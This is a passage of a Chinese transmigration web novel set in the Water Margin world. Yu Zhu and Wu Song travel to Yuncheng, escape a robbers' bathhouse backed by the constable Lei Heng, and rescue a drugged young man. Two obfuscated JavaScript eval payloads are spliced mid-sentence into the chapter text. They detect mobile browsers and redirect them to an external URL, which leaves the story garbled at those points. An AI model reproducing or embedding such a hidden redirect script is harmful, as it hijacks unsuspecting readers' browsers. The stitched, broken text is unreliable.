这话听着有些耳熟,郁竺抬起头看向孙二娘,希望她吐出的话是自己想听的那段。 孙二娘见郁竺没有反驳,接着道:“是青州管下一座二龙山宝珠寺,花和尚鲁智深和一个青面兽好汉杨志,在那里打家劫舍,霸着一方落草,青州官军捕盗,不敢正眼觑他……①” 话音未落,却听见武松道:“不行,那等强人出没的腌臜地方,我妹子如何去得。” 这下轮到孙二娘尴尬了,自己口中的“好去处”,到武松嘴里变成了“腌臜地方”,叫人听了多少有些不舒服。偏偏武松又亲如兄弟,孙二娘不便和他争论,眼珠子转了一圈,最后落在郁竺身上,像是在说“现在被通缉的可是你,你怎么看。” 郁竺感受到无形间转移至自己的压力,开口道:“嫂子说得没错,虽说是落草为寇,但到底官兵不敢搜捕,于我来说却是极好的去处。” 见郁竺同意,武松皱了皱眉头,思忖半响,道:“妹子一个人如何去得,到底是因我而起的事,我随妹子一同落草便是。” 武松此言完全在郁竺意料之内,但是她少不得劝解一番做做样子:“兄长如何使得,落草便没有回头路了,兄长何至于此。” 武松摆摆手:“无妨,我正恨背个偷盗之名,没得分晓,还不如当时去孟州府里首告了,便吃一刀一剐,也留得一个清名于世。” 张青见武松松口,也兴奋起来:“二龙山那里常常有书信来劝我入伙,我只因恋土难移,不曾答应,如今我写一封书去,细说二哥和妹子的本事,如何不肯你二人入伙!” 事以至此,这确实是最好的选择,本来投奔二龙山,日后再并入梁山,也是郁竺设想过的一条路。 从孟州与到二龙山所在青州,直线距离也就150公里左右,但是算上曲折的官道,徒步至少需要十几天。 为路上方便,张青将家中的毛驴赠送给二人当做交通工具。张青夫妇手上本也不算宽裕,郁竺不好意思让他们破费,就将带出来的金钗留给了孙二娘。 武松则是拿着从张都监那里顺出来的金银酒器,和孙二娘兑了二十几两碎银,均交给郁竺保管。 因为郁竺的容貌惹眼,为了避免不必要的麻烦,孙二娘给郁竺换了身男装,脸色也用土灰涂得暗了些,看起来真像一个十三四岁的少年了。 孙二娘又蒸了二三十个馒头给郁竺,塞了一包袱,担在驴身上,悄悄告诉郁竺“好牛肉的,路上吃”。 一切准备完毕,已是日上中天。 孙二娘张青并肩站在柳树下,目送二人。 郁竺骑着毛驴,也侧过身子向他们挥手道别。 她知道和孙二娘早晚要在二龙山相见,心下虽然不舍,倒是没有太多伤感。 倒是武松频频回头,投身绿林后,车马难寻,书信难递,不知这一别,此生还能否再相见。 很快,茂密的荒林将双方的身影与视线彻底隔绝开,再回头已看不到那株老柳树。 武松轻叹一口气,声音瞬间被寒风带走,消散在天地间。 他收回视线,牵着驴埋头向东赶路。 行了十数日,一路还算顺遂,经过不少村庄州县,都没有看到张挂通缉“玉兰”的榜文,更不用说通缉武松,郁竺悬着的一颗心也渐渐放下来。 看来,终究也只是张夫人起疑,孟州城内缉拿她的告示应该就是张夫人要求的。 孟州道的那些大人们,怕是根本没拿正眼瞧她这个偷跑的养娘,跟谈不上将告示贴到其他州县去。 问了路人,原来已到济州郓城县境内,此处离青州二龙山不远了。 这一路上,郁竺和武松为了保险起见,未敢大张旗鼓投店住宿,都借宿在破庙中,此刻早已人困“驴”乏。 其实此时平民百姓出门在外,都说“宁睡荒坟,不住破庙”,主要就是怕有强匪流寇,不安全。 对此,武松表示“管他什么强人,都一刀砍做两段就是”。 而今目的地将近,又无两人通缉告示在身,郁竺便想在郓城县内寻一处客邸住下,好生休息一番。 武松也欣然同意。 二人牵着毛驴,在城内寻找住处。 因着郓城县本也是个小地方,开客邸的并不多,找了两家规模稍小的,竟然都没客房了。 最后,还是在城西找到一个大些的客邸,门前竖着一个招牌“久住赵员外家②”。 郁竺上前一问,价钱还挺贵,两间普通的客房,一晚上需要一百二十文钱。 所幸带出来的银子一路上都没怎么花费,偶尔奢侈一把也未尝不可。 于是郁竺和武松将行李卸下来,把毛驴交给店家带去喂草料,然后就在大堂找了处桌子坐下。 “有什么菜,尽管挑好的上,再取些好酒来。”刚落座,武松就吩咐道。 “好嘞。”那小二应了声,便往后厨去传话。 一口气干掉了许多茶水,郁竺才仔细打量起这家店来,此时天虽未暗下来,店家却不惜烛火,竹帘半掩,将墙上的水墨丹青照的影影绰绰,确实风雅别致。 朝南的墙面是一处诗板,上面写了不少题壁诗。 郁竺凑近了细看,多是 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于是小二陪着笑脸儿:“客官,这会儿小的找不到笔墨,许是被我家掌柜的收起来了。” 武松何等敏锐之人,如何不能感受到,那小二的眼神,在他那处金印上停留了一两秒。 此刻听了他话里的推脱之意,无名之火就烧了起来:“怎的?你家备诗板,不备笔墨?若是这会儿赵官家要题诗,也是没有吗?” 郁竺一听不好,生怕那小二再说出什么不识相的话,连忙劝到:“好了兄长,咱也不是那穷酸文人,题那酸诗做什么,和他们写在一个板上,白白辱没兄长名声。” 说罢又吩咐小二:“劳烦去看下酒菜备好没。” 那小二不吭声,负气般扭头跑了,武松终是将气咽到肚子里,愤愤坐下。 不一会儿,菜上来了,羊血炒羊肉、旋煎白羊肠。 郁竺在十字坡,也大概了解了这时候的物价,看了这菜,心里咋舌:好家伙,羊肉现在一斤将近九百文,这可真是硬菜了。 还会来得及动筷子,只见武松拈了一块羊肉扔到嘴里,才嚼了几下,就一口喷在地上。 “呸呸呸!这是什么肉,如此腥膻,快换旁的上来! 那小二听了,一脸不悦:“这可是东京时兴的做法,过往宾客都赞不绝口。” “东京做法又怎样?不合口味便是不合!休要啰嗦!” 郁竺知道武松这是心里有气,有意挑刺,不祥的预感涌上心头,只得先打圆场道:“无须那般精细菜肴,只换些家常便饭,权且充饥便罢。” 那小二冷哼一声跑去厨房,不一会儿又端来一份烧得焦红的豚肉。 郁竺这次学精了,赶紧抢在武松面前下了筷子,先扒两口饭。 果然武松吃了一口后,直接将碗碟碗筷一股脑儿摔在桌上,喝道:“甚么腌臜肉,怎地甜腻至此?换上酱牛肉来!” “客官,小店不卖这等粗鄙之物。”那小二此番连眼皮都未抬,直接回绝了武松。 9. 第 9 章 客观来说,小二说的没有错,牛肉在此时确实属于最低贱的肉类,因为官府不肯宰杀耕牛,民间都是在偷偷宰杀,只有贫苦百姓才会买牛肉,价格一斤不过百文钱。 只是他此时说这话,难免带了些挑衅的意味。牛肉是粗鄙的肉,那要吃牛肉的武松是什么呢? 果然武松被彻底激怒,一把揪住那小二衣领,猛地提起,而后狠狠掷于地上,摔得他鼻青脸肿,好不凄惨。 待那小二自己勉强爬起来,想向后厨跑去时,武松又一把揪住他后衣领,如拖麻袋般将他拽回,随后一拳重重击在他面门上。 这一拳将那小二打得跌倒在地,久久不能动弹。 郁竺见状不敢多言,只等武松额角的青筋慢慢消下去,这才上前,隔在武松和那小二之间。 她半蹲着,将那小二从地上扶坐起来,用武松听得见的声音道:“我兄长虽说面有金印,却是经官家赦宥的人。一生本事天下无双,如今也是知府老爷的座上宾,这两拳便是教你不可轻易看低人。” 她随口编了些话,全了武松的面子,那小二一听,才知这金印汉子并非草莽,一脸怒色顿时消了四分。 见状,郁竺又从袖袋里摸出五两碎银,继续道:“这银子,你且拿去买药疗伤。这是我兄长对你的一片善心,你若敢将今日之事声张出去,那便是你的不识好歹了。” 那小二鼻血未干的脸庞上,原本还残留的六分怒意,在瞥见银子的瞬间,瞬间烟消云散。 毕竟,这五两银子足以支撑他家人一年的生计。 他偷偷瞄了眼武松,见这位方才还怒气冲冲的大汉,此刻已恢复了平静,便连忙挣扎着起身,怀揣着银子一溜烟地躲到了酒案后面。 大厅里一时间静了下来,武松抬眼望去,只见二楼客房处,隐约有人探头探脑地从栏杆后向下张望,似是想看热闹,却又在瞬间缩回了脑袋。 虽然事态表面上已经平息,此地终是不宜久留。 武松和郁竺交换了下眼色,在心里达成了共识。 于是,两人默契地将桌上刚刚还被武松“嫌弃”的菜一扫而光,随即去石槽处牵起驴子,迅速离开了店家。 经过一番闹将,天色已渐渐暗淡下来,整个郓城县被一层暮色笼罩。 街巷里,点点灯火开始闪烁,像是夜空中最早亮起的星星。 小贩们也陆续收拾起行囊,吆喝声渐行渐远,只留下一串串悠长的回音。 所有人都在归家,只有郁竺和武松无处可去。 那客邸是好不容易找到的落脚之处,如此,住宿又成了一个难题。 幸好此刻不是腹中空空,也算是一点慰藉。 二人一驴又开始在郓城县的曲折街巷中,漫无目的地溜达,空气里弥漫着一种微妙的静默。 郁竺知道,武松心里始终淤积着一股气。 这股气是什么时候有的呢? 大概是,没能在鸳鸯楼的墙上写下“杀人者,打虎武松也”的时候,就生出了。 所以他才会说出“不如首告了,便吃一刀一剐,也留得一个清名于世”这样的话。 金印,刺在了他的脸上,也刺在了他的心上,然而他是堂堂的打虎英雄,这股气他咽不下。 所以,郁竺方才也没有一直再打圆场,而是等武松将心中的怒意发泄完,才编了些话,将武松高高的捧起,将那小二轻轻放下。 所以说,自己原先以为只有宋江将那金印当做心病,到底是思虑不周。 要是能换个“玉容丹”,将武松的金印先消了就好了。 只可惜点数不够。 武松这会儿经夜风一吹,原本有些发热的头脑也冷静了下来。 什么赫赫威名都已经是前程往事了,倒是方才自己一时冲动,害得二人无处落脚,对此他颇有些愧疚。 天色已暗,舟车劳顿数十日,还是早早找一处地方歇下才是。 武松在四处着,目光最终定格在几处依旧亮着灯火的商铺上,心里已经有了计较。 “我还晓得一处应该能歇脚的地方,不知妹子肯不肯去。” “兄长但说无妨。”郁竺有些疲惫地回道。 她这会儿脚板酸得厉害,只要有地方能躺下,哪儿都行。 “香水行。” “什么?”郁竺闻言微微一愣。 “就是澡堂子。”武松补充道。 “原来如此,我之前在城里见到过几家挂着‘香水行’招牌的店铺,还纳闷它们是卖什么新奇玩意的,没想到竟是澡堂子。”郁竺恍然大悟。 在十字坡时,孙二娘给她烧过一次热水洗澡,只是一桶一桶地提来提去颇为费劲。 此后她也不太好意思麻烦孙二娘,就一直用湿布擦身了事。本以来古人卫生条件都一般,没想到城镇上竟然已经出现了公共澡堂。 其实,郁竺不知道的是,北宋时期的公共澡堂建设,远比她想象的健全很多,比方说长安的法门寺,东北角就有个浴室院,每天去洗澡的人多达千余。 看着郁竺一脸惊讶,武松解释道:“妹子原来久居深宅,对这些不太了解。香水行一般都有软榻可供休息,生意可红火了。” “如此,一切都依兄长安排。”郁竺是恭敬不如从命。 言罢,方行了百十步,就又见得一处香水行,店门口高高悬挂着一个水壶作为标志,招牌上写着“濯尘”二字。 门前小厮见二人驻足,立马唱道:“本店汤钱二十文,挠背、梳头、修脚一概十文,全做只使得四十文。” “可有软榻供休息?”武松问。 "有哉有哉,必能涤您满身尘埃与倦怀。"小厮见商机浮现,连忙摇头晃脑道。 郁竺被他这妙语连珠逗笑了,道:“兄长,那便在此处罢。” 这间名叫“濯尘”的香水行外面看不起眼,步入里间,却别有洞天。 从正门进入,便是一处案台,一个老婆子守在那处。 案台后的墙上写明了往东是男浴,往西是女浴。 那小厮接过武松的包袱,将他向东引,老婆子则是从案后绕出来,带着郁竺往西去。 郁竺跟着老婆子,绕过一处壁龛,方才进入女浴。 那女浴有三间,最外面一间是放衣柜的,衣柜上都编了号数,老婆子拿了一个两寸长的号筹拴在手巾上递给郁竺,告诉她可以将东西存在衣柜里,洗浴出来给她验筹开柜。 第二间就是一个大池子,水还冒着热气。 第三间像是休闲室一般的所在,里面摆着四五个木架软榻,角落有一处小门,两道帘子遮着,像是通往后院之类的地方。 这熟悉又现代的布局,简直让郁竺看呆了。 那老婆子让郁竺先在水里泡透,便招呼她往那软榻上躺,只见她拿了条澡巾裹住郁竺,按压揉捏,长推短拨,好不熟练。 这些天奔波下来,郁竺的精神和身体都积攒了太多的疲惫。此刻水汽缭绕,氤氲出一片迷雾,她顿时昏昏欲睡。 恍惚间,郁竺仿佛回到了童年,她身处的也不是这个叫“濯尘”的香水行,而是在母亲上班的工厂澡堂子里。 母亲将全家的衣物放到哗啦啦流淌的热水下冲洗,自己洗完澡,只穿着棉毛衫裤,蜷缩在那张陈旧的皮质休息椅上。 那休息椅表面的革布早已斑驳破碎,郁竺无聊至极,手指在那破损的洞眼上抠挖。 当她正沉浸在这份乐趣中时,搓澡阿姨突然出现,吓得她连忙倒下,用身子挡住破洞,佯装沉睡。 这时候母亲出来了,半湿的头发还粘在颈间,就喊她回家。 可是郁竺觉得装睡的自己怎么都起不了身,母亲着急了,“咚咚咚”敲着储物柜的门。 “咚咚咚” "咚咚咚" …… 那声音越来越清晰,越来越有节奏感。 郁竺感觉有些不对劲,她挣扎着将自己从休息椅上支起来。 人猛然转醒。 原来自己真的睡着了,也不知过去多长时间。 四处看去,先前那老婆子已不见踪影。 郁竺方知刚才的工厂澡堂和母亲的身影,不过是南柯一梦,不禁怅然若失。 唯有敲击声还清晰可辨。 郁竺凝神听了会,渐渐分辨出着声音的方向,是从前间衣柜那处传出,有些闷闷的。 这个想法令她吓了一跳——难道衣柜里有什么活物? 长不过两尺,深还不到一尺,还能装下什么东西呢? 郁竺的瞌睡一下醒了七八分,迅速穿好衣服,将湿发松松绾了个髻儿,汲着麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到此处,郁竺已经明白了大半,这家黑澡堂背后还有个都头做“保护伞”呢。 只不过“保护伞”抽成过高,导致两个“黑手套”起了内讧。 如此黑店,自然是惹不起。 不过万幸的是,听她们的争辩,应该是已经放弃劫财郁竺这个想法了。 如此,等她们走了,还是把武松叫醒,离开这是非之处,早点赶路才是。 郁竺暗舒了一口气,背倚在衣柜上,闭目静待。 “咚咚咚” 噩梦般的声音又响起,郁竺刚闭上的眼睛猛然睁开。 忘了柜子里这茬儿了! 郁竺瞬间意识到,这里头的“活物”并非他物,极有可能就是她们刚刚提到的那个“富户”! 如此说来,这柜子背后看似实墙,实则非也,一定还有暗室。 刚刚是自己钻了牛角尖,竟然没有想到这一层。 只不过……郁竺看了看里间的方向。 那两个婆子听了声音自然会前来查看,若发现躲在此处的自己,不知道二人会不会改变主意,要自己的命? 郁竺的大脑飞速运转,她回忆了刚刚进来的路线,估算了一下从此处直接冲出店外的可行性,最后还是准备让系统掏出秘密武器。 脚步响起,由远及近。 短短十米不到的距离显得格外漫长,郁竺深吸一口气,正要在心中默念使用迷魂香。 就在这时,一个念头闪电般滑过她的脑间。 这里是郓城县,水浒中的郓城县! 郓城县的都头是谁? 郁竺知道的只有两个——马兵都头朱仝、步兵都头雷横。 这老婆子说都头素日吝啬,总不能是仗义疏财的朱仝吧? 可是,万一县里还有其他未曾记载到的都头呢? 不管了,赌一把! 郁竺闭眼吸气,将心一横。 两个婆子走到外间时,只见那女子单衣薄衫,头发潦草,脸上却挂着一幅高深莫测的笑意。 “我乃梁山头领,奉晁天王之命,特来答谢雷都头,不知都头素日可好?” 10. 第 10 章 绕过两道门帘和堆着柴火的后院,郁竺来到一间厢房。 那婆子将茶水斟满,便轻手轻脚地退了下去,朝着郁竺说道:“雷都头正赶来此处,你且稍安勿躁,稍等他片刻。” 郁竺颔首。 她赌对了,这间黑澡堂的幕后“保护伞”就是雷横。 雷横是个什么样的人呢? 原著里,他将刘唐误捉了送给晁盖拿了十两赠银,后来刘唐追要,雷横死活不给,二人大打出手。 当时读到此处,郁竺就觉得他有些贪财,实在不符合好汉的行事作风。 今日一看,果然如此,连身边的人都评价他“悭吝”。 不过他的吝啬,实在是有原因的。 雷横是铁匠出身,早年生活贫苦,曾开设过碓坊,杀牛放赌等违法的生意也都做过。 后来上了山,同样一起私放宋江的郓城县都头朱仝,排位却比雷横靠前很多。个中原因,除了个人能力外,恐怕雷横的性格因素也占了很大一部分。 只不过郁竺没想到,他爱财到了这种地步,连黑澡堂子都有他的份儿。 正想着,一个紫棠色面皮,长着扇圈胡须的男人推门而入,嚷嚷道:“晁天王别来无恙?小弟心中挂念得紧呐!” 待那男人看清郁竺是个女子,顿时收住了话,满脸狐疑。 郁竺不等他开口,便抢前一步,拱手道:“雷都头安好!我乃梁山泊晁盖哥哥麾下一员头领,郁竺是也,江湖上人称‘女管仲’。今日与表兄武松,遵晁天王之令,特来山下,欲向都头献上薄礼,聊表谢意。” 郁竺这话信息量太大,雷横瞪着绿豆眼反应半天,这才拱手道:“久仰!久仰!” 果然,外号是好汉行走江湖第一必需品,郁竺上下嘴唇一碰,给自己扯了个“女管仲”名头,还真把雷横唬住了。 雷横虽对武松的大名早有耳闻,至于郁竺却是陌生得紧。 听闻郁竺自我介绍,他便上下将其打量一番,心中暗赞道,这晁盖果然手段非凡,竟能招揽到这般花容月貌的女中豪杰上山做了军师。 只是,他已晁盖已有些日子没有来往,晁盖如何想到此时遣这二人来送谢礼? 况且,他还听闻那武松可是被刺配到孟州去了。 思及此处,他拉开椅子,大马金刀坐下,话里却有言外之意:“武松兄弟的大名,我可是如雷贯耳,前些时日听说兄弟手刃了那对奸夫□□,虽觉惋惜,却也敬佩不已。不知我武松兄弟何时投了梁山,成了晁天王麾下猛将?” 郁竺早猜到雷横必有此疑问——他一介贫苦铁匠能做得都头,必不只是膂力惊人,定然也是有些头脑的,且兼着黑白两道,自然也是谨慎之人,不会对她的话全盘相信。 为此她自然早已编好一套答案,从容回道:“我兄长武松,自被刺配孟州,曾替那地界上的一位豪杰,唤作金眼彪施恩的,驱散了恶霸,夺回了一座酒店。却不料因此得罪了当地的官绅张蒙方,被他设计陷害,下了大狱,又被发配恩州。那张蒙方,害我兄长不成,竟还妄图在路上买通解差,取了兄长性命。” “我本是孟州人氏,幼时随父亲读过几年诗书,双亲亡故后,便独自代写书信为生,勉强糊口。闻听我表兄被发配恩州,便一路留心跟随,直至飞云浦,见那解差欲行不轨,便及时出手施计救下我表兄。表兄哪里容得下那两个解差,将他们两刀砍作四段。因怕被官府追捕,我俩便一路向东,逃至梁山,投了晁天王。” “晁天王为人仗义,对我兄妹二人多有照顾。只可惜我兄长一路颠沛流离,受尽磋磨,高热之下,昏厥过去,醒来后,竟成了哑巴。” 郁竺的谎话半真半假,细节穿插得恰到好处,雷横当下已经信了六分,在心里感叹道,堂堂打虎英雄,落得如此凄惨,嗟呼!嘴上却道:“梁山不失为安身立命的好去处,我兄弟也算苦尽甘来了。” 郁竺轻轻点头,接着又详细叙述起上梁山后的种种经历。雷横正有意试探,于是二人相谈甚欢。 一番深入交流后,雷横见她对梁山众人均了如指掌,连自己当日和晁盖交往的细微之处也知之甚详,终于对郁竺“梁山头领”的身份不再有疑。 眼见雷横的神色逐渐放松下来,原本有些微耸的肩膀渐渐下沉,交叉着双臂,整个人靠在椅背上,郁竺这才缓缓切入正题。 “正如此前所说,此次下山,本欲为都头献上薄礼,而今却有一事,不得不如实相告,还请都头恕罪。”郁竺作揖,正色道。 "郁头领此言差矣!"雷横急慌慌地以手虚扶郁竺正欲施礼的臂膀,"头领何罪之有?况且我不过郓城一介微末小吏,岂敢妄谈宽恕二字?" 郁竺依旧将姿态放得低低的,解释道:“我本奉晁天王之命,携金银若干,专为酬谢都头昔日对天王之恩。谁曾想,昨日歇脚于城外,竟遭贼人窃去金银。我和兄长一时不知该如何向天王复命,只得先在这县城之中落脚,徐徐图之,誓要寻回失物。” 郁竺很明显地看到,自己说完这话,雷横嘴角的笑意瞬间敛去了。 只见雷横半响说不出一句话,不知是否在心疼那本该属于自己、却意外被盗的金银,良久才干巴巴挤出一句:“头领无须挂怀,皆是那可恶贼人作祟。” 雷横的心,简直在滴血,他知道晁盖非池中之物,所以当初晁盖劫取生辰纲事发时,他冒险私放了人,就是想落个大大的人情。 如今,晁盖果然是知恩图报,派人送些金银下山,只可惜啊,自己终是与这些金银无缘。 也罢也罢,此番金银未能收到,晁盖终究是欠自己,日后必有厚报之时。 雷横在心里安慰着自己,却听见郁竺再度开口。 “只是不想这事情,竟峰回路转,柳暗花明。” 雷横刚沉入谷底的心绪,又被猛然提起:“莫非已寻回?” 郁竺摇摇头,高深莫测:“不全然。” “啊?”若是雷横知道过山车这个东西,就该知道怎么形容自己此刻的心情了。 郁竺将自己已空的茶盏斟满,又替雷横添了茶水,这才缓缓道:“都头莫急,且听我细细道来。” “我和兄长原本想在此处暂且休息一下,再去追寻,不想听店里的干娘说,店里来了个青年富户,只身携带众多金银珠宝,现她们已将此人拿下了。” “此人实在可疑,若是普通富户,哪个出门不是仆役成群,又怎么亲自携带着众多金银细软?为此,我断定,此人定然就是盗窃我等财物的歹人。” “为此,还请都头恩准,将此人带来给我辨别一二,若真是此人,我就将其带上山去,交由晁天王发落,那些财物,本也是为答谢都头所备,自然就当是物归原主了。” 雷横听了郁竺这番话,有些郁郁不快,原来金银只是从自己的一个口袋,到了另一个口袋。 先前听闻伙计来报,道是擒了一富户,又有郁竺前来献上谢礼,他还道是双喜临门,有两份收获,却不曾想,竟是同一桩事。 观察到雷横的面色,郁竺从袖袋里掏出十两沉甸甸银子:“些许薄银,权作我兄妹二人向都头赔罪之礼。此番变故,实属意料之外,还多亏都头手下之人得力,捉住了这盗贼。” 郁竺一番言辞,巧妙地将雷横私下开设黑澡堂的事情,转化为英勇缉盗。 雷横岂会不明郁竺话中的玄机,未做丝毫推辞,欣然笑纳,将那成色上佳的十两纹银稳稳收入囊中。 也罢,便再卖晁天王一个顺水人情。 于是,雷横吩咐那两个婆子将富户捆好带到此处。 趁此间隙,郁竺向雷横告假,找到男浴里还在呼呼大睡的武松。 “兄长醒醒,这家店是个黑店,专谋财害命,在我们此前还绑了个青年富户,我刚巧编造了些言辞哄骗了那店家,使其松懈,方能救人。我等速速带上那青年,离开此处。”郁竺语速飞快,尽量用最简单的话,将现在的情形概括了下。 刚从睡梦中醒过来的武松:“?” “哦对了,兄长什么话都无需说,无论那人问你什么,都不要开口,记住了。”郁竺又叮嘱道。 这会儿武松算是听明白了,感情自己睡着的这段时间,郁竺已筹划了一场大戏。 虽不明其中细节,但经过鸳鸯楼一事,武松深知郁竺智计过人,此事必有她的考量。 刚想开口应承,却又想到郁竺说的“不要开口”,武松连忙将嘴抿紧,点点头。 和聪明人说话确实轻松,武松反应之快出乎郁竺的意料,先前她还担心要好一番解释,如此看来,倒是省去了不少麻烦。 待郁竺和武松出现在厢房里时,雷横已经将那富户带到了。 那富户看着颇为年轻,面皮白净,身着锦衣,衣襟绣纹繁复,此刻双眼紧闭,倒在地上一动不动。 “唉,我手下那些鲁莽之辈,行事不知分寸,又将这贼人药晕了,要不头领在此稍等,我使些手段,定叫他醒来。”雷横略带歉意,拱手言道。 这个富户此前被迷倒,也未绑结实,药效一过,他就自己醒了,才在暗室里敲击墙面,试图引起注意自救。 谁知那俩婆子见此人醒来,生怕雷横怪罪,又下了猛药,将其弄晕。 此举正中郁竺下怀,此前她还在担心,万一这人愚笨,看不出自己存心救他,矢口否认,自己还得费一番功夫完善说辞。 如此昏迷不醒、口不能言,正好。 于是郁竺道:“无碍,我兄长天生神力,扛个人不过是举手之劳,我等还得尽快回山,向天王复命,便不麻烦雷都头。” “也好。”雷横点点头,将视线落在武松身上,只见此人身躯凛凛,相貌堂堂,便拱手道,“久闻兄弟打虎威名,如今一见真是相逢恨晚。” 武松:“……” 郁竺连忙给雷横使眼色,雷横这才想起郁竺说过的,武松遭遇变故,早已“口不能言”,心里一叹,面露怜悯之色,也不再多言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022617|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如此,便不相送,二位路上保重。” 武松将那青年富户背在背后,二人不作停留,离开此处。 穿越至今,郁竺编过不少谎话,这番遇到雷横,编造的说辞愈发是得心应手、浑然天成了。 不过她对此也没什么心理负担,就算日后上了梁山,相互比对,发现其中疏漏,也不过当作一桩趣事笑谈罢了。 毕竟,好汉不提当年勇嘛。 二人带着那青年直走了一里多路,又绕了几处曲折的巷子,才在一处隐瞒的庙里落脚。 武松环顾四周,确保没人跟着,便将这青年放到地上,终于开口,道:“妹子虽是好心,只是何必救他,这世道,富户有几个是好人。” 他于睡梦中被猛然惊醒,当时还有些不明所以,现在走了一路已经全然明白了。 郁竺默默不语,她突然起意救此人,一方面是出于好心,但更多的,还是因为那一瞬间她想起了系统的任务。 不知道这一番操作,能不能达到【虎口脱险】的任务完成标准。 方才她悄悄看了眼系统,发现任务界面显示“正在判定中”。 这些话当然不方便和武松说,且她暂时也无意劝解武松放下“仇富心理”,她没有经历过他的苦难,就没有资格。 “救人一命,到底是造化。”随口糊弄了一句,郁竺将那青年放平在地。 漫漫长夜,辗转两处,郁竺环顾四周,轻叹一声,到底还是要栖身破庙了。 二人此刻并无睡意,武松便前去正殿佛龛处借取些灯油。 “宿主,您已达成【虎口脱险】成就,两百点奖励发放到背包了哦。” 系统的声音突然想起,郁竺正要在这弥勒殿内寻个干净处躺下,听闻此言差点蹦起来。 成功了! 她做贼似地瞄着不远处的武松,悄悄打开【兑换】,找到【玉容丹】。 “就要这个。” “好的,兑换物品稍后发放。” 这座小庙,香火稀疏,连灯油也吝啬得紧,武松四处寻觅,费尽周折,方在三处勉强凑得一盏油灯。 他举着灯盏,回到原处,却见昏暗的油灯下,郁竺双眸晶亮,脸上还带着掩饰不住的笑意。 “兄长,有个稀奇事物,我给你看看。”郁竺向他招手,语气里带着孩童般的雀跃。 “怎的?”相识以来,他很少见到郁竺脸上露出这种类似于天真的神色,纵使此刻心情不算上佳,心里也不由得柔软了起来,便放轻脚步,悄悄在郁竺身边坐下。 只见郁竺掏出一个黑色的药丸,道:“先前在城里一个卦肆,我见有老道售卖此物,名曰‘玉容丹’,说是可以消除面上一切疤痕,就是稍稍有些贵,要十两银子。” “那老道既然敢开此价,想必此丹定有奇效,我便咬咬牙买了下来。只是后来琐事缠身,竟将这等好事给忘了,未曾与兄长提及。” “兄长此刻,可要一试?”言罢,郁竺的目光中满是期待。 武松听罢,不以为然,暗忖道,倘若世间真有此等奇药,那朝廷黥面之刑,岂不形同虚设,威严何在? 想不到自己这妹子看着成熟稳重,还会信这等把戏,到底是个孩子。 可他转念一想,怕是自己在客邸无端发怒一事,让妹子以为他对脸上刺字耿耿于怀,这才买下此丹药。 他虽是不满别人打量自己金印的目光,可到底也是准备投身绿林之人,一番发作之后,心境已然平复,反倒没这么在意脸上两行金印了。 不过,郁竺毕竟也是担心自己,武松思忖后,终不忍拂其意,遂道:“好,那就试试。” 获得武松首肯后,郁竺便将丹药小心翼翼用水化开一点,然后慢慢涂抹在他的脸上。 只见那丹药以肉眼可见的速度与皮肤融为一体,迅速将金印的颜色冲淡。 武松不知这药效果如何,只感觉脸上热热的,郁竺的衣袖带过一些隐约的香气,钻进他的鼻腔。 不过片刻,耳边传来郁竺惊喜的声音:“好了!真的不见了!” 武松有些不可置信。 “什么?”这曾让他饱受世人白眼的金印,竟如此轻而易举便被抹去? 他忍不住用手去摸脸颊,只觉得触手有些油乎乎的,原本那处凹凸不平却是真的摸不到了。 武松十分兴奋,可惜此处没有铜鉴,他从无查看,便四处寻找水缸,试图通过倒影一窥究竟。 郁竺见武松如此模样,也是满心欢喜,正要帮他举灯寻找水缸,却感觉后颈处一阵凉风。 面前的武松动作极快,身形如电,几乎是瞬移到郁竺身后。 背后传来拳肉碰撞之声,随即一声闷哼。 回头再看,那从浴堂救回来的青年已经被武松牢牢制住脖颈,贴在墙上不能动弹。 比起之前昏迷时,他脸上恢复了一些生气,眼睛里的光却又很快黯淡下去。 “也罢,合该殒命于此。” 11. 第 11 章 郁竺一听,就知道这青年误会了,怕以为自己和武松是罪魁祸首呢。 闻此言,武松缓缓松开制住那青年脖颈的手,冷笑一声:“你这厮不知好歹,亏得我兄妹二人费尽心思救你出来。” 他这会儿心情好,脸上金印方消,仿佛长久以来压制在心头的锁链断开,对这青年富户的无礼之举便没有计较。若是往常,早就一拳招呼上这不知好歹的泼皮的面门了。 听武松如此说,那青年愣了一下,这才仔细打量起周围的环境。 这分明是一处寺庙,自己就置身于弥勒殿,倚在那手握宝剑的南方增长天王脚下呢。 四周树影婆娑,自弥勒殿可看到正殿佛龛处隐隐有灯光透来,殿前大门敞开,直通向外面街巷。 青年舒了一口气——终是离了那黑澡堂。此刻逃出生天,连那怒目圆睁的金刚,看起来都慈眉善目了。 “在下韦暄,多谢二位救命之恩。”惊魂甫定后,那青年纳头便拜。 韦暄?郁竺飞快地将这个名字在脑子里过了一遍,又让系统查询了下,均无此人记载。 也罢,想必不是什么重要人物。 伸手将青年扶起,郁竺道:“不必多谢,正是你敲击木柜出声提醒,我才意识到那澡堂的诡异,为此编了些说辞,骗得那掌柜将你交出来。只是不知那黑澡堂在此县势力几何,到底危险,不宜久留。” 郁竺三言两语便将搭救之事带过,又催促那青年速速离开郓城县,免得他明日在街上游荡,被那雷横撞见,再生事端。 那青年闻言,反而愤慨起来:“岂有此理!这济州治下,本是熙熙攘攘之地,竟还有这等谋财害命之所,真不知这小小浴堂,已害了多少无辜性命!” 大宋商品经济繁荣不假,但世道纷乱,官府监管不力,郁竺也没想到黑店竟然这样多。 不过郁竺暂时没有“扫黑除恶”的觉悟,她本就是要去二龙山落草之人,还属于被“扫”的范围,故而不愿多言。 